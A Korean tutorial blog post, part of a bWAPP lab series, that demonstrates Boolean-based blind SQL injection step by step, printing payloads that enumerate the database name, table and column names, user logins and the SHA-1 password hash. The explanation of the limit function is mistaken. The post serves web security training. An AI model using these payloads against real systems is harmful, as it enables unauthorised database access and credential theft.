본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 3-1.Blind SQL 인젝션 [Boolean-Based]

by Robert8478 2023. 12. 12.

Blind SQL 인젝션이란? - 쿼리의 결과를 참과 거짓만으로 출력하는 페이지에서 사용하는 공격으로 참과 거짓을 통해 판별하는 추측 공격이다.
블라인드 SQL 인젝션에서 사용하는 함수는 substr, ascii, limit 등이 있다.

substr - 첫번째 인자로 받은 문자열을 지정한 길이만큼 출력, 문자 하나씩 출력하여 이름을 알아낸다.
ascii - 문자를 아스키코드로 변환하는데 ' 를 우회하는 변수일 때 문자를 입력하기 위해 사용
limit - 문자열의 길이를 반환한다, 문자열의 길이를 알아내면 substr으로 문자열 추측하기가 쉬워진다.

Boolean Based 인젝션은 공격 쿼리로 인해 DB 내용을 노출하는 취약점이다. 쿼리는 DB내용이 일치하여 웹페이지에서 참을 출력할 때 까지 임의의 값을 대입한다.


[난이도 하]
이번 페이지는 검색어와 일치하는 영화가 DB에 있는지를 출력한다.

전과 마찬가지로 ' 를 넣었더니 syntax 에러가 나왔다. 이는 SQL 인젝션 취약점이 존재한다는 뜻이다. 이제 ' or 1=1# 을 넣어보자.

참으로 만들었더니 movie가 DB에 존재한다고 나온다. 그렇다면 ' or 1=2# 를 넣어 거짓일때의 반응을 보자.

이번엔 does not exist 라고 뜬다. 이 두 메시지로 참과 거짓을 판별할 수 있을 듯 하다. 이제 order by 구문으로 칼럼 수를 찾아보자.

8에서 syntax 에러가 떴으니 칼럼 수는 7개이다. 이제 union select를 시도해보자.

' union select ALL 1,2,3,4,5,6,7# 구문을 넣었더니 7개 칼럼이 맞기 때문에 exists 라고 나온다. 만약 6까지 했다면 does not exist가 나왔겠다

이제 substr 함수를 이용하여 DB 내용을 추측하는 블라인드 SQLI를 시도해보자.
우선 데이터베이스 명을 반환하는 database() 함수를 이용하여 데이터베이스 이름의 길이를 추측해 볼 것이다.

' or 1=1 and length(database())=5# 구문을 넣어주었더니 exists 가 나왔다. 즉, 데이터베이스명의 길이는 5자리이다.
이제 substr을 이용해 글자 하나하나 추측해 보면 된다. 글자를 하나씩 넣어본다. 알파벳 a부터 z까지 대입하다보면 틀린 문자라면 not exist, 맞는 문자라면 exist가 뜰것이다.

' or 1=1 and substr(database(),1,1)='b'#  이런 식으로 쿼리를 넣어주면 된다. 첫번째 자리는 b이다. 이제 substr을
substr(database(),2,1) 이렇게 변경해가며 한자리씩 찾아내면 된다.
만약 ascii 함수를 이용한다면 ascii(substr(database(),1,1))=98#  과 같은 쿼리로 ascii에 해당하는 숫자를 넣어가며 비교한다.

이번엔 테이블 명의 길이를 구해보자. 여기서 where 조건으로 테이블 타입을 base table로 지정해주면 information 스키마의 메타데이터 저장용 테이블을 제외시킬수 있으며, table_schema를 bWAPP으로 지정해주어 bWAPP DB 테이블만 출력하게끔 하자.

' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))=4#
위 구문을 넣어주었더니 exists 가 나왔다. 즉, 테이블명 길이는 4글자이다. 이제 테이블 명을 추측해보자.

' or 1=1 and substr((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)='b'# 쿼리를 넣어주었더니 exist가 나왔다. 즉 테이블의 첫 글자는 b인 것이다.

이런 식으로 반복해 주면 된다. 이제 users 테이블에서 칼럼명을 뽑아보자. 우선 길이를 먼저 뽑자.

' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2#  , 이런 쿼리를 사용하여 길이가 2인것을 알아내었다. 이제 똑같이 substr으로 자리를 유추해보면 id 가 나온다.

그리고 다음 칼럼을 알기 위해서는 limit를 1,1 -> 2,1 이런식으로 변경하면 두번째, 세번째 칼럼으로 넘어갈 수 있다.
두번째 칼럼은 login, 3번째 칼럼은 password 인것을 알았다.

두번째 login 칼럼의 내용을 알아보기 위해 ' or 1=1 and substr((select login from users limit 1,1),1,1)='b'# 와 같은 쿼리로 알아낼수있다. 세번째 password 칼럼의 내용을 알아보기 위해 length()를 써보았을때 40자가 나왔다. 이는 해시 값이라는 추측이 가능하다.
40개를 다 하기에는 시간 소요가 많기에 어떤 해시 함수를 쓰는지 알아보자.

' or 1=1 and md5("bug")=(select password from users where login="bee")# 쿼리를 사용하여 md5인지 알아보았는데 거짓이라고 한다.

' or 1=1 and sha1("bug")=(select password from users where login="bee")# 이라고 넣었더니 exist가 나왔다. sha1 해시함수를 쓴다.

[난이도 중,상]
전 문제들과 같이 난이도 중은 addslashes 함수를 통해 SQL 인젝션을 방어한다.
난이도 상은 mysql_real_escape_string  함수를 통해 SQL 인젝션을 방어한다.